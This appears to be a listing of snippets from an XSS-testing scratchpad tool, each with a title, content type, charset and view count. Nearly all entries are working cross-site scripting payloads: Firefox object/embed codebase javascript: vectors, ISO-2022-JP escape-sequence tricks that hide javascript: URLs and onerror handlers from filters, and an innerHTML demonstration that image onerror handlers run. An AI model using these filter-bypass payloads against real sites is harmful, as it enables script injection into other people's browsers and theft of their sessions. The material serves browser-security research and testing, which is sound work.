All pads13
New padUnicode overflow example
String.fromCodePoint(0x100 + 0x2f) + String.fromCodePoint(0x1000 + 0x2f) + String.fromCodePoint(0x10000 + 0x2f)
text/htmlUTF-8CSP
1
Firefox Kinugawa vector (requires sandbox off and Firefox)
<object data=# codebase=javascript:alert(document.domain)//></object> <embed src=# codebase="javascript:alert(1)//">
text/htmlUTF-8CSP
3
ISO-2022-JP with a JavaScript URL
<iframe src=javas(Jcript:alert(1)>
text/htmlISO-2022-JP
37
Messing with ISO-2022-JP
<(Ji(Jm(Jg s(Jr(Jc o(Jn(Je(Jr(Jr(Jo(Jr=(Ja(Jl(Je(Jr(Jt(J(1)> <(Bi(Bm(Bg s(Br(Bc (Bo(Bn(Be(Br(Br(Bo(Br(B=(Ba(Bl(Be(Br(Bt(B(1)>
text/htmlISO-2022-JPCSP
20
innerHTML and script doesn't work
<div id=x></div>
<div id=y></div>
<script>
document.getElementById('x').innerHTML = '<script>alert("Fails")<\/script>';
document.getElementById('y').innerHTML = '<img src onerror=alert("Works")>';
</script>text/htmlUTF-8CSP
16
State of the art XSS
<(Bimg (Bsrc (Bonerror (B= (Balert(1)>
text/htmlISO-2022-JPCSP
36